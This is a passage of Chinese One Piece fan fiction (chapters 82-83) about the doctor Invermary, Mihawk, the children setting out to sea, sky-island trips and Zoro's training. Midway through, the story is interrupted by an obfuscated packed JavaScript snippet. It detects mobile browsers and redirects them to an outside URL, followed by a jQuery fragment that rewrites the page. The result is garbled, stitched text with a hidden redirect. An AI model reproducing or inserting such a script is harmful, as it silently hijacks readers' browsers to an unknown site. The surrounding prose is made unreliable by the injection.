相处几个月他自然也发现了对方有时会出现一种类似神游的状态,尤其是在他们更熟悉之后愈加明显,不过他也没问。猫的脑袋会连着另一个宇宙,眯着淡金色的眼睛找有太阳的地方发呆。 鹰眼没打断过他,只是做自己的事情,翻 过一页书。 不过自己有每天冥想的习惯,这对剑客来说很有帮助。所以某天他询问是否要试着和他一起冥想一下。他有点好奇这会让茵弗玛利集中精神,还是变得更散乱。 “什么都有可能哦,先生,我的身上没有0%” 他们做的手工蜡烛形状稍微有些奇怪,不过燃烧更干净,也很耐燃,有一些天然香气。茵弗玛利嘀咕着下次有机会试试椰子蜡,点燃几根摆在附近后到他面前盘腿坐下。 的确什么都有可能。他有一次集中精神,有一次完全放空,有一次直接睡着——米霍克从自己的冥想中归来时睁开眼,看到一只猫缩在自己膝边打小呼噜。不过在出现他自己走不回来的情况时,他建议还是不要随便冥想了。 无反应,听不见他,看不见他,去了脑袋里的另一个世界。直到米霍克牵着他的手,一点点把他拉回来。有些危险。 “好可惜,确实挺放松的。” “那就不要自己一个人冥想。” 茵弗比了个收到的手势,将手里的包裹递给米霍克。这次他要出远门,预备新的七武海上任,他被召集到海军总部。虽然往日这种会议大剑豪没心情参加,不过茵弗玛利听说后说他等着他回来听八卦。 “顺便帮我带几个马林福德的绒被回来呗,我超级推荐,又大又软。” “知道了。” 七武海会议还是老样子,没什么好讲,他对海军本来就没什么好感,这次的新人他也没什么兴趣。不过前几年上任的霍金斯在临走前说:“多弗朗明哥要我询问游医大人在你那''住得如何''。” 米霍克盘算着茵弗玛利说的被子在哪买,还是他直接跟战国要一个,头也不回地回答:“很好。” 如果有卖椰子蜡的也买一些回去好了。 鹰飞回自己的巢。 82.对于得到的爱,万分感谢 “霍金斯先生这么说?” 茵弗写着笔记,旁边堆着几本从藏书室里挖来的医书。多弗朗明哥能给他打电话虫,还非得让霍金斯带话“询问”米霍克...发疯大鸟。 “觉得我在您这儿呆太久了大概就是。” “在让你回去。” 二人同时开口。 是呆了很久了。米霍克这儿住得太舒服一点...可恶啊好想退休。今天也是想拿高额退休金撒手不管事的一天。茵弗叹了口气,抬头发现靠在贵妃椅上的米霍克在看他。 他歪歪脑袋:“别的还有什么?我其实没太了解过七武海呢,所以很想听八卦,我都是走一步看一步,临时找情报那种...” 大概也不是个太好的习惯,在这片海想要做到什么,除了医学他总得学别的。 鹰眼米霍克、月光莫利亚、沙·克洛克达尔、女帝波雅·汉库克、神谕霍金斯,太阳鱼人费舍尔·泰格,还有新上任的哈那夫扎。 霍金斯他知道,是“多弗朗明哥要对天上金下手”之后,他“牵制”之后塞进去的。本来霍金斯就是为了出海才跟他们走,多弗朗明哥问他要不要当七武海,他算算他那牌之后同意了。 泰格的事情也知道,因为他带着很多鱼人奴隶在海上,虽然他说要带他们为伊甸工作。但茵弗还是就让这个本来就热爱冒险的鱼人带着同胞们在海面上逛逛就好。毕竟前奴隶们不一定就真的愿意工作,而且现在鱼人族的处境好了太多。 他们在冒险途中帮了一些同样是逃出来的奴隶,有遇到奴隶贩子也打击。袭击了一次拍卖场救出同胞后被政府定义为海贼,同意加入七武海也是为了他们的行为不影响到鱼人岛现在的良性发展。 米霍克他当然也知道,坐在他对面喝葡萄酒的大剑豪,按他询问时三言两语的回答来看就是不算传统意义上的海贼,曾经做过海兵猎人。 莫利亚的名字他听过。 “他曾经想挖走我手下的员工霍古巴克先生。” 鹰眼挑眉:“为何。” 茵弗摇头:“看上那个自恋男什么了吧?不过骨头先生和辛朵莉小姐开始同台演出后经常带他去后台,他对这件事忠心耿耿。” 米霍克不知道他在说什么,也不太在意,耸肩继续补充莫利亚是在和之国海域挑战凯多,惨败后重新组建的海贼团。 “所有同伴都被杀了,所以他在用果实能力造活死人,盘踞在魔鬼三角地带。” 哇...打击...确实所有同伴都死了的话...只要一开始就是死的就不会再失去?霍古巴克是个天才外科医生,没什么医德,喜欢的东西就是钱,还有辛朵莉,经常诅咒美丽巨星女士的丈夫暴毙,告诉他莫利亚要挖走他的时候要了一大笔加薪。莫利亚找他造活死人吗?缝缝尸体什么的?找个优秀的裁缝大概也...算了不想了。这是什么万国2.0。 茵弗摸摸下巴:“克洛克达尔先生我也...记忆...稍微有点模糊,不过好像跟谁聊起来过。” 听米霍克的描述他倒是想起来点了,曾经败给白胡子,在那之前...也没打赢□□,是第一名王下七武海。以七武海身份不断狩猎海贼,现在在阿拉巴斯坦驻扎。 “没有海贼团?” “没有。” “打不赢,跑去弄了个''合法海贼''身份,是要干嘛,就认输了?” 米霍克摇头,鳄鱼不是那种性格。 “不建海贼团,只认同自己的能力那种...他在阿拉巴斯坦干嘛呢?” “当英雄。” 所以也不是像米霍克这样半隐居。鹰眼是杀海兵,被追捕得烦了就接受职位,好能过个平稳日子,仍然我行我素。克洛克达尔在加盟国当英雄?海贼帮着别人国家狩猎海贼这类的?又不是插了旗子。 “直觉告诉我是个聪明的家伙,如果打交道会很累。” “你也很聪明。” “我笨着捏。” 鹰眼看着眼前金毛的猫眯着眼睛转脑筋,又开始拆他的线团,勾勾嘴角,没有指出线头。 “话说沙漠国家我还没去过,想体验一下。嗯..汉库克小姐呢?” 海贼女帝波雅·汉库克是九蛇海贼团的现任船长,同时也是九蛇岛亚马逊·百合王国的现任皇帝。凭借强大的实力在一次远征后便被邀请为七武海。 “夏琪小姐也做过那的皇帝吧?” 女儿国啊...茵弗摸摸下巴,说实话有点好奇一个封闭的,全是女性国家的文化。上次大熊带荷尔蒙来的时候,虽然他只要了治愈荷尔蒙,不过伊万科夫为了表示对他的感谢又给了一套。雄性和雌性荷尔蒙他还是有的,变个性,然后拜托夏琪送他去是不是太钻漏子了... “有机会的话...也、也很想体验一下...” 哈那夫扎的事情就几句,米霍克去那趟最主要的其实就是买了几个被子。茵弗有点不好意思,早知道鹰眼这么讨厌海军他就不拜托他了。黑发男人偏头,换了话题。 ''你什么时候走?''询问的话在嘴里转了一圈——“你什么时候再来?” 茵弗微微坐直,取过茶几上的蝴蝶刀甩着玩——米霍克某次出行带给他的,因为敏锐的鹰之眼发现他很喜欢在手里玩东西——什么时候再来克拉伊伽那吗? 其实他只是客人而已,一开始只估计自己会住一个月最多了,狒狒的研究已经结束,自然环境也探索得差不多,城镇废墟中也立了告慰的石碑。不过蝴蝶刀甩起来的声音很好听,米霍克教他之后他上手很快,可以算是硬币,打火机之后的又一大宝藏,一个新朋友的礼物。 他确实喜欢这段日子,什么时候再来? “不知道。” 艾斯快要出海,继承了露玖的温柔细腻,但他也是罗杰的孩子,他的灵魂是一团热烈的火,他一定会扬名,被注意。 走一步看一步吧。 茵弗将蝴蝶刀放到一边,从自己幼稚封皮的笔记本夹层里翻出他的生命卡,撕了一角,写下名字后递给对面的人。 米霍克接过后沉默半晌,询问他接下来要去哪。茵弗伸了个懒腰,将脑海中阴郁的色彩一扫而空,又弯着眼睛笑: “家里的孩子快走了,回去腻歪腻歪,曼雪莉公主之前帮了我好几次大忙,我答应带她去空岛玩一玩,然后有时间的话去沙漠国看看金色的海,去女儿国...啊这个我还没想好。” 他伸出手,不知道是要牵他还是讨要生命卡:“您没什么事情的话要不跟着去空岛玩一圈?” 米霍克取出自己的生命卡撕了一角,连着手一起放在凉凉的,带着伤疤的手心。 - 虽然他跟米霍克说的时候很坦荡,很帅气,实际上他完全... 没成年出什么海!!当时和路飞谈判他就应该咬死了成年年龄,现在都要十七岁出海。虽然他十二岁就跟着奥罗杰克逊号到海上漂了,巴基和香克斯甚至有记忆就是个小海贼...那能一样吗! “呜呜呜呜我不要你们长大——” 茵弗一脸丑丑的表情抱着他已经完全抱不住的几个大小伙子,基德最先扭出去,艾斯还在挣扎,只有基拉乖乖地呆在他怀里。 “小姨!!别蹭啦!” 艾斯快要烧起来了,整个人爆红,他都快十八岁了诶! 他才不听,逮到青少年的脸颊就亲几口,“呜呜呜你们怎么长这么大了啊么么么么么”,另一边也亲一亲,“么么呜呜呜怎么脸都不软软了——” 三兄弟一定要十七岁出海,不过基德已经成年了,所以他想用这个理由完全让茵弗玛利没话说。 那他还是有话说的。 “小特拉先生十九岁才走的!” 最终还是被雷利从孩子们身上撕下来,茵弗哼唧一声撇撇嘴,在看热闹的草帽少年头上拍了下。就是你这家伙! 雷利翻了个白眼,都多大了还张牙舞爪地跟个小孩一样。他熟练地顺着自己养的小鬼的金毛,让他别发疯。 “他们都很强,这么多年我白教的?” 武装色见闻色不提,基德和艾斯都有不弱的霸王色。加上他们的果实能力一个比一个开发潜力强,在乐园没什么好担心。他们想从四海开始冒险,不过估计很快就会再进入伟大航路,毕竟这些年跟着伊甸去了不少地方,伟大航路是那种经历过了就无法忘怀的。 而且他们没出海都有副船长了,基德带着基拉,艾斯带着在奥比塔拉认识的朋友。一个比起家里人期望的学医,更想写小说的年轻学徒丢斯。 茵弗揉揉鼻梁,靠在自家大人身上。他当然知道这些啦...送罗走的时候他就酸酸的不舒服,现在一下子送走这么多他更不舒服。他是什么送子鸟吗?把小孩们送向大海妈妈。 叹了口气,他拉过萨博,揉着他的脸像小时候一样用鼻子和他贴鼻子。因为小土豆要去革命军的缘故,他不久后也要提前出发,不会呆到生日之后。 “你去夏琪小姐那里?” 早就不再缺牙的小土豆点头:“嗯,和老师再呆一阵子。” “到时候谁来跟你汇合?” “克尔拉。” 几个人里面萨博的武装色练得最好,据说是受他影响也不知道真的假的,还是只是小鬼头嘴甜想换奖励而已,明明自己最强的是见闻色。暗暗果实完全邪门,算得上适合这个肚子里有点坏水的小子。加上跟夏琪学了几年,一脸无辜的蓝眼睛下面埋的是什么估计可怕的很。 他亲吻他的额头后松开他,又拉过艾斯开始嘱咐。年纪越大,艾斯就越在他亲昵时容易害羞,又回到小时候他去接他们时的样子。脸红红,耳热热,脸上的雀斑一衬变成一颗热气腾腾的草莓。 至于基德嘛...小时候就不爱给贴贴啦,酷哥的骄傲。不过他该贴还是贴,勉强塞一个脸颊吻后被青年的大手捂在脸上推开。 乖,基拉,还是你跟我最亲。 基本嘱咐基拉的事情要长一倍,因为要加上基德不会听的东西。茵弗摸着金发青年已经长得长长的狮子毛满意点头。 他们要么乘巨鸟,要么坐伊甸现在的潜水艇们去四海,伊甸鲸太慢,海上医院经常要在岛屿停靠或者跟船。茵弗给了他们足够买艘小型帆船的钱,还有可以支撑一段时间的物资。其余的,就坐自己的船去寻找吧。 茵弗和送罗时一样,准备在他们离开前离开。和孩子们腻歪几个月,他去接米霍克,安排一下准备去空岛的事。罗宾和路飞都不跟着,目标海贼王的小少年将他的伙伴们都叫来奥比塔拉,过一阵子也到了,他们要在出海前特训。 “喂!小姨!” 他回过头,看到幼苗们早就长成在微风里向上舒展枝叶,准备好触碰春日的绿。 基德护目镜上的金色螺母闪过一丝亮光,基拉的手搭在他肩上。 艾斯学着萨博的样子取下头上的帽子,微微鞠躬,脖子上挂着的是和他的红珊瑚项链类似的红色珠链。有什么晶莹的东西在他弯腰时滴落,他哭了吗? 直起身时答案揭晓,艾斯带着和罗杰宣布启航时一样灿烂的笑,即使眼眶红红,他开口,他们都开口: “———,—!” “尼嘻嘻嘻嘻嘻嘻!” 茵弗转过身,侧拥着身旁已经不再是金发的副船长先生,深吸一口气: “不客气,亲爱的们。” 雷利在他亲吻他的额头时拍拍他的脸示意他可以走了:“你也是,好孩子。” 咖尔远去时,雷利对着身旁的人笑道:“要赌他哭没哭吗?” 头上没有扶桑花的女人温柔地将长卷发抚到耳后:“不用赌吧?” 的确不用赌。 他袖子摁在眼睛上哭,搂着巨鸟的脖子哭,抱着米霍克哭。 这还是他们第一次拥抱。米霍克不是个习惯亲密接触的人,不过在茵弗玛利的巨鸟落在露台上,他没等到人,去看的时候发现对方埋在羽毛里流泪的时候,鹰还是张开了他的翅膀。 “送走了很难过?” 茵弗摇摇头,他不难过。 他其实,完全不知道该怎么养孩子。一开始接触这类的时候,他只会对着香克斯他们笨拙地模仿米森。后来担心养不好,保护不了,只能把基拉他们留在科尔波山。 罗和蕾玖给了他一些信心,可是当时真的很累,萨奇和罗宾又突然来到他身边。 他读很多相关的书,学着上面的指导,还被雷利吐槽过溺爱小孩。在艾斯询问父亲的时候想要全盘告知,露玖阻止后又说再等一等可能会更好。太过于把他们当大人,太过于把他们当孩子,如何才能平衡? 因为很忙碌的关系,也不是能一直陪他们长大,错过了不少他们的成长。贴纸那种幼稚的东西,他们真的喜欢吗?受伤那阵子吓到他们了吗?他的确努力赶跑所有的大狗,可是剩下时间给他们的爱足够吗?他们有享受到做孩子的感觉吗?这样的担心,那样的担心,太多太多。 他呜咽一声,抱紧他不习惯拥抱,却主动抱住他的朋友,手里仍然紧攥着那朵扶桑花。 【对于我得到的厚爱,谢谢。】 - 灵魂都被泪水泡软了,鼓鼓地塞满他发酸发涨。茵弗把身体里所有的水分都哭出去之后,乖乖地被比自己大几岁的黑鹰牵着去喝水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094011|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 米霍克看出来他在发呆,就只是把他安置在厅内的贵妃椅上把水拿来。大概哭了太多头疼吧,眉头皱皱的,他把水杯递过去的时候揉了一把。 “你吃饭了吗?” 从奥比塔拉飞过来还是要一阵子的,即使咖尔速度非常快。现在已经是晚上,本来米霍克以为他今天不会来。 “吃了。” “晚饭。” “哦...没呢,下午在路上啃饼干还掉下去了超级可惜...” 坐在对面喝水的医生反应了一会儿,突然瘪着嘴说好饿。米霍克没有吃夜宵的习惯,他的三餐作息都很规律,但是茵弗住在这儿的几个月经常半夜摸到厨房里拿点零食吃他是知道的。从橱柜里拿出他剩下的饼干让他先垫一下,鹰眼用他自己晚餐剩下的材料做了份蔬菜烩。 嘴边还沾着饼干屑的人往嘴里送热乎乎的蔬菜,手边的杯子又被倒满清水后嘟囔一句想喝冰牛奶。 “没有了。” “奥...确实除了做菜用您也不怎么喝。” 米霍克摇摇自己的红酒:“安排好了?” 茵弗:“嗯,我们先去奥比塔拉。” 米霍克同意跟他旅行一段时间他其实还挺意外的。不过他坐自己的棺材船出去,不是去附近采买一些物资,就是随便漂一漂砍砍船什么的。茵弗某种意义上来说也类似吧,尤其是一开始的时候,到处漂,随便治治遇到的病人。 不在乎、不在意、只是练剑,只是医。 也许这也是他们相处起来很舒服的原因之一,做自己执着的事情,对于外界只是个看客,身上那种有点厌世的味道很熟悉。 带小人族公主去空岛,他可是事先准备大量功课的。冲天海流和西天之顶都很危险,所以他要另辟蹊径。 乖乖自己洗碗时这么说,米霍克问他准备干什么。茵弗嘻嘻一笑,说到时候他就知道了。 鹰眼将自己喝完半杯红酒的杯子放在水池边,知道会被顺便清洗。他不介意茵弗玛利暂时不告诉他,就是在这个人身边有时候会有这种让他好奇或者感兴趣的感觉冒出来,他才同意和他一起。 能和冥王雷利切磋剑术的机会也非常好。 因为要离开一段时间,古堡这边要收拾好,包括菜园。可以近期收割的就再等等,然后不再种新的,其他耐活好打理的就交给几个月不见更厉害了点的狒狒们。所以茵弗又回归了幸福的懒觉生活。也不用天天出去,就做点自己想做的,偶尔带着狒狒们去他已经走过一遍的黑暗山里探险,帮米霍克打理菜园的时候还可以玩土。 “好、好肥的蚯蚓!好有成就感!” 虽然是个死亡弥漫的阴森岛屿,但是看到充满生机的证明时还是让人喜悦。健康的土壤,健康的菜园子。他将手上的蚯蚓给身旁戴着草帽,挂着毛巾像个老农一样的大剑豪幸福地展示了一下,然后小心地连着土一起放回去。 “土质疏松和养分循环就拜托您啦...啊啊啊有漂亮的大螳螂!害虫也拜托您了...” 被他形容为酷似老农的大剑豪没管他猫咪玩虫,给之前种下的无花果树松土。树苗们还在生长,估计还要几年才能吃到果子吧。不过品质优良是一定的,毕竟在托特兰是种出来供给BIGMOM做甜点用。''和红酒很配'',茵弗玛利是这么说的。 这也让他有点期待。 - 还要生长几年的绿发树苗和他目前的目标失之交臂。他们跟着伊甸鲸到达奥比塔拉时,才听说鹰眼来过,和冥王雷利切磋后离开,堪堪差了一周多而已。 “尼嘻嘻下次还有机会的啦!鹰眼男很强诶。” 他未来的船长,已经很强的船长这么说。 “没关系,我一定会成为世界第一大剑豪。” “哦!我也一定会成为海贼王的!” “游医也不在吗?” “小姨去天上的岛了尼嘻嘻,以后我们也去吧!” 雷利坐在一旁,对着戴草帽的黑发少年露出微笑。 诺兰度的黄金乡只有一个,但是天上的岛不止一座。长大的曼雪莉仍然带着小女孩脾气,但是一如既往的心地善良,明白贸然上去的危险,自己还带着一些族人,有公主的责任。奇迹游医早就遵守约定带他们去看了诺兰度的故乡,她也不是当年那个嚷嚷着要去看黄金乡的孩子了。 所以在那个长胡子老头表示不能将他们送到其他空岛时,她也没有生气,只是拉着雷欧哼唧了一下而已。 其实冲天海流或者西天之顶茵弗还是想走一下的,只不过风险太大,如果只有他,米霍克,甚平和朱尼尔,也许就试试看了,但他还要带着曼雪莉。所以他邀请小空岛维莎利亚的气象船到奥比塔拉来。几个打扮得比起科学家更像巫师的老头子在完成他拜托的气象工作后,在他表明除了报酬还愿意给一大笔的研究经费的话语下同意带他们去维莎利亚拜访。 不过专业人士就是专业人士,尤其是奥比塔拉的种植环境,可以根据他们调研的结果更优化一步。只要给研究经费,科学家们就超级好说话,这个道理他当初雇佣沃尔夫就明白了。 短住一段时间被哈雷达奉为贵客的他也了解不少气象知识,一个岛的人全是气象学家不想知道也会知道的。 蓝帽子老头和世界第一科学家贝加庞克是旧友,说那是个比他还需要研究经费的老家伙,所以去给政府干活。茵弗点头,将这个信息随便塞到脑子某个角落后玩起了各种空岛贝和风之结。小人族们玩得开心,嘻嘻哈哈地互相吹来吹去,也不怕吹飞了掉下去。 “米霍克先生!风之结攻击!” 黑发男人压了压稍微被三个结吹得翘起些许的帽子,像往常一样的面无表情。茵弗笑眯眯的,整个人都散发出失望的气息。 “大蓝!风之结攻击!” “哈哈哈好强大的风啊!” 茵弗满意点头,身后传来小小的声音。 “茵弗先生!风之结攻击!” “哇——曼雪莉殿下!我被吹跑啦!” 风是挺强的,在真的有哪个小人族被吹得掉下去之前,茵弗带着一头乱糟糟的头发离开了维莎利亚,虽然花了不少钱,不过收获颇丰。 离开小空岛,波比已经在约好的地点等着了。附近岛屿转一阵子带他们玩玩,就把小人族们送回去。 “米霍克先生,味贝攻击!” 真不愧是世界第一大剑豪,霸王花浓缩精华的味道都不皱眉头,只是抖抖报纸。 嘛,不过就是类似尸臭吧。这片海上,很多人都闻习惯了。 茵弗推开窗,等待新鲜的风重新灌入。 83.报纸情人 新世界的某一座冬岛上,拒绝了王下七武海邀请的海贼界新星火拳艾斯正在宴会中。 “真是好久不见了啊哈哈哈!” “是呢哈哈哈哈!上次见你小子才这么大一点点吧哈哈哈!” “那是路飞吧哈哈哈!” 除了副船长丢斯,黑桃海贼团的成员们都对着自家船长和四皇互相拍着肩膀哈哈哈感到惊奇。他们自然知道艾斯很强,很快的时间就走过了伟大航路前半段,未曾失败过。经过伊甸城时,他们也知道了艾斯和奇迹游医关系匪浅。 进入新世界后听说了红发的消息,艾斯就说要去见一面,本来以为是要挑战,不少成员还有些担心,初见红发海贼团也给他们很大压力。不过艾斯把兜帽一摘,手一伸,“哟”了一句之后,篝火燃起,他们现在和四皇团坐在山洞里喝酒吃肉,宴会狂欢。 “喂,丢斯,艾斯到底是什么人啊...奇迹游医也就算了,还认识冥王雷利,现在又是四皇...”某位船员怼怼身旁的面具青年,“他不会是什么大海的王子吧。” 蓝发副船长翻了个白眼,要这么算的话,奇迹游医那一窝子小孩估计都能算是大海的王子。不过王子的话...严格意义上来说他也算?艾斯没向他隐瞒过自己是海贼王的儿子,不过也没宣扬过,更像是没人问他自己也想不起来要说。“这有什么重要的?”大概就是这样的理由。 所以他哼笑一声:“习惯就好,他就是个被一群人宠着长大的家伙。” 艾斯不知道自家船员们在八卦他,脸上的雀斑被篝火映像烤芝麻一样,一手拿着酒杯一手乱飞地给小时候照顾过他们,尤其是弟弟路飞的红发男人讲自己的经历。 “加入七武海要听海军的话,怎么可能嘛,我要自由的冒险啊?而且当年要不是小姨,那群家伙可是准备屠了妈妈的故乡诶。” 香克斯哈哈大笑:“海军才填上最后一个空缺不久就被你打败了,那群人又要头疼了啊。你接下来去哪?” 艾斯:“我想去白胡子老爹那打个招呼,好久没见萨奇和马尔科了。” 香克斯视线扫过黑桃的船员们,实力上和艾斯有些断层,艾斯在新世界基本问题不大,他们可能不太行。基德估计招的船员也有这个问题,还没进入后半段,一直在前半段磨练。 “见了白胡子之后呢?打算回乐园吗?” 雀斑小子歪歪脑袋,头上的橘色牛仔帽随着他的动作歪斜:“有可能,丢斯他们还不够强,如果很困难的话就先回去。我们走之前小姨提醒过我们来着,路飞也把伙伴们叫去训练。” 红发船长点头,他心里有数就好。 “路飞那小子怎么样?” “很有精神呢,等不及要出海了!还是嚷嚷着要做海贼王,你也知道他''那个''梦想。” 聊路飞这俩人就有的说了,叽里呱啦的张牙舞爪。艾斯模仿着路飞近几年又做了什么好笑的或者厉害的事。红发海贼团的船员们也嬉笑着加入话题,怀念那个一起短暂旅行过的小家伙。 与路飞话题不相上下的就是茵弗话题。 “见过茵弗了?” 艾斯点头:“不过他一开始不在,他在那个...那个鹰眼那里,照顾一个小子,妈妈打了电话虫给他。” 一旁的贝克曼叼着烟啧了一声。提起这个,他都能背下来自家船长的话了。拍着桌子,或者靠在船舷,或者用他那一只胳膊挥着报纸...''贝克,明明—'' “明明我已经是四皇了吧!下一个不该轮到我了吗?茵弗的报纸情人!” 雀斑少年嘴里的朗姆酒呛咳到气管,咳嗽着拍自己的胸膛顺气。 在托特兰有了一圈八卦,在白胡子那有了一圈八卦,摩尔冈斯大卖了两次报纸,茵弗玛利不介意,他也乐意写。现在又开始写世界第一大剑豪和奇迹游医的桃色新闻。 大概编的瞎话就是鹰眼在去奥比塔拉求医后结识了奇迹游医,二人结下深厚情谊,甚至跟随他去某某岛屿行医,救下岛民,举止熟稔,虽然没说他俩在交往,不过话语暧昧不清,怎么理解都行。 至于他被BIGMOM扣押,在白胡子那''疑似被伤'',那是通通话题过了就不存在。 贝克曼无语,当四皇是可以让红发海贼团进入茵弗玛利的什么联姻人选名单吗。不过来做客住一阵子的话,如果被看到了没准那只信天翁真的会写,什么四皇再度拉拢奇迹游医这类。 艾斯:“...不会真的交往了吧..” 香克斯卡住了,视线转向贝克曼。 贝克曼吸了一口烟,耸肩道:“和七武海同行被看到总要有个说法。出了这片岛域打个电话虫问问?” - 噗噜噗噜噗噜噗噜、 “喂您好。” “小子!你怎么又跟海贼恋爱啊?四皇手下完了就是七武海?” 茵弗顿了一下,无语地对着眼角带疤的电话虫勾勾嘴角。 “这跟海军有什么关系?” 卡普的声音稍微远了点,大概是在扭头跟别人说话,“听见没,战国!”,电话虫又微微转向他,“我们海军也有好孩子,你以前不是和叫缇娜的丫头关系挺好?还有那个小刺头?” 茵弗揉揉鼻梁,没打扰对面读书看报的黑发男人,起身到远一点的地方打电话虫。 “缇娜小姐很好,斯摩格先生也很好,不过当年我都...二十一了?他们未成年诶,还是训练营新兵。” 电话虫随着卡普的动作微微上扬,看表情大概是又在挖鼻孔。 “库赞呢?罗西南迪那小子?战国老小子也能同意!” 捻着自己的浅金色头发,他嘟囔着: “您还操心我这个?库赞先生军舰路过奥比塔拉都不来见我一面,还是达米安少将告诉我的。” 卡普:“你来一趟马林福德,我叫那臭小子见见你,少盯着那些个海贼。” 战国就那么担心他和海贼越处越好啊。他和海军关系也不差啊?那么多退役海军都在伊甸工作,达米安他们更是完全融入。他一个游医怎么可能天天带着海军到处跑。 茵弗叹了口气:“知道了,等我有时间就去看看您们海军的单身男性女性。” 卡普:“听见没,战国!他和七武海快掰了!那你快点啊小子!” 咔嚓。 真是...还没抬脚回去,外面就传来狒狒们的叫声。狒狒王噢噢地叫唤着,手里举着个绿藻头少年跑过来。又输了啊。 茵弗拿了几串香蕉递给狒狒王表示感谢,把它手里的小子拎起来带到室内去包扎,天天带着一身伤不断挑战,新伤叠旧伤的还好他身体素质好。 “可恶...” 索隆咬着牙,捏紧手里的刀。 自从那次错过之后,奇迹游医一个人回到奥比塔拉时他便一直询问相关的事情,毕竟路飞说他们一起走的。但是茵弗玛利拒绝带他去见鹰眼,即使自从他拿得起竹刀就一直在练刀也不够。 路飞很强,他相信他一定能成为海贼王,他们都相信。淡金色发的男人只是扫视过他们说没错,但是您们现在太弱了。他们到了奥比塔拉之后就在跟着冥王雷利修炼,能明显感觉到路飞跟他们差的不是几个档次。他却说不是这种弱。 他和他们战斗,他们打不过,即使配合着也打不过。路飞没办法一边应对他一边照顾跟不上的他们。而奇迹游医却说他很弱,如果他们想实现自己的梦想,选择跟着路飞到世界的尽头,只会遇见比他强大百倍的敌人。 路飞护着他们,挡在他们的面前,不想那黑漆漆的手杖打到他们身上。即使是深爱的亲人也不可以欺负他的伙伴,他坚信他们,还不是正式船长,已经像个船长一样保护他们。 ''小姨!!你的对手是我!!!'' 茵弗玛利没有听。 他歪着脑袋,对愤怒的路飞那让他们感到发软的霸王色霸气熟视无睹,手杖的底部压在他身上,让他很难再站起来,开口说:“他们也对自己的认知是''海贼王的伙伴''吗?” 路飞总是说,他们是最棒的伙伴。 和冥王的训练很辛苦,乌索普他们经常训练后对着恢复得很快的路飞说''真是怪物啊''。 没有足够的决心,没有足够的觉悟,他们要让他们的船长永远护着他们吗?就像茵弗玛利控制住路飞之后,他们无论如何都没法把他夺回来一样?船长保护船员,船员却帮不了船长? 即使是冥王雷利也没有把他们压得这么狠过。严苛,把他们逼到极限,没错,但这次不一样——敌人不会听。 奇迹游医疗伤的手法很轻柔,也会温柔地拭去娜美和乔巴他们的泪水,索隆想知道,能和海贼王一起前行的世界第一大剑豪,他们的差距有多大。金发男人认真地看了他一会儿,然后同意带他到克拉伊伽那。 他现在连米霍克岛上的狒狒都打不过。 不过那个眼神如鹰般的男人说了,如果他打赢狒狒们,就给他一个挑战的机会。 身体被包扎好,也已经不痛了,他回过神,脑袋上被抽了一下。 “终于想明白了,小先生?” 索隆点头:“我太弱了。” 茵弗:“然后呢?” 索隆:“我要打赢狒狒们,挑战鹰眼。” 茵弗笑眯着眼:“然后呢?” 索隆:“我也许会死,不过如果活下来了,我要向他求教。” “如果他拒绝呢?” “我会恳求他,无论什么方法,让他同意。” 茵弗:“剑客却把自己在对手面前放得如此之低?您的刀也如此软吗?” 索隆摇头:“我并没有放低自己,只是我现在不够强,但我总有一天会超越他。” 面前的男人笑着吻了一下他的额头,说那您好好休息,明天早上吃饭团,然后继续打狒狒吧。如果到时候鹰眼真的把他砍得很惨,奇迹游医会把他从死亡手里拉回来的。 古堡房间里的灯被熄灭了。 茵弗拿着药箱出门,对着在门口站了很久的黑鹰微笑,用指节刮过对方微微上扬的嘴角。 “明天早上您去练功的时候要不离他近一点?看不过去就指点几下,好让他早点站到您面前被您砍。” “好。” 他们坐回大厅的椅子上,不过茵弗玛利把自己之前在忙的东西抱过来,坐到他身旁而不是对面,软乎乎的浅金头发感激地蹭了他一下。 “期待吗?我就说您会喜欢他的。” 米霍克脸上还带着点笑意,重新拿起自己的书,问他明天早上真的打算早起给那小子捏饭团吗。身旁又开始低头忙碌的人头也没抬说不打算,要不您捏吧,给我留两个,想吃金枪鱼的。 “我明天下午回奥比塔拉,把索隆先生决定要跟您训练的事情告诉他们。” “什么时候再来?” “嗯...不知道。” - 把索隆的事告知后,小家伙们展示出不同的决心。既然剑士已经先一步下定觉悟,即使会被杀死,也会努力成为最强的剑士,那么航海士要做最强的航海士,厨师要做最强的厨师,船匠也要做最变态的船匠。 至少茵弗在带着孩子们去七水之都那阵子就学会习惯''弗兰奇为什么也在''的心情了。 才聚集到奥比塔拉没多久的少年少女们再次分开。约好两年多之后,路飞十七岁时一起出发。 这样可能确实比都跟着学霸气好一点,每个人天赋不同,霸气也不是人人都能学会,只是茵弗的个人经验,比如罗宾跟在他身边这么多年其实也没有练会霸气,开发果实能力也不弱。 该送他们去哪里学习最合适是件重要的事,他和雷利讨论,又给当时受邀之后一起和萨博去了革命军拜访的罗宾去了电话虫。 乔巴留在奥比塔拉,一边训练一边学医;乌索普用当时他从维莎利亚带回来的贝给娜美做的武器很有趣,所以茵弗干脆把她送到维莎利亚;山治的体技和厨艺哲普已经没什么能教的了,倒是革命军那边伊万科夫说可以带他,人妖奥义的菜谱和他的药膳有点像;想当变态的半机器人干脆送到科依进修的地方一起,人体改造和机械都很厉害的家伙正合适... “要不到您父亲身边历练一阵子好了?”茵弗捏捏少年的长鼻子,“海上战士,狙击,也许冒险途中还能发现适合您的东西。” 香克斯现在是四皇,见面很麻烦。所以茵弗只是短暂停留在他的属岛,放下乌索普后联系他们来接。没想到香克斯一定要见他一面,他只能告诉他自己要去德雷斯罗萨。 红发船长是乘小船来的,带着莱姆琼斯。见了面常规的拥抱后就问他是真的和米霍克交往了吗? ? “目前我的报纸写得八卦一点比纯阴谋论好卖,我以为你知道?” 当时米霍克去奥比塔拉是找雷利切磋,维莎利亚之行后顺便在附近海域转了一圈。碰上一群入侵的海贼,砍了,然后茵弗玛利救治伤者,上了报纸。 “都是艾斯那小子一脸确信的样子...”香克斯搂着茵弗,撇了撇嘴,“不过也该轮到我了吧。” “什么?” “报纸情人,红发海贼团投票的话我大概...” 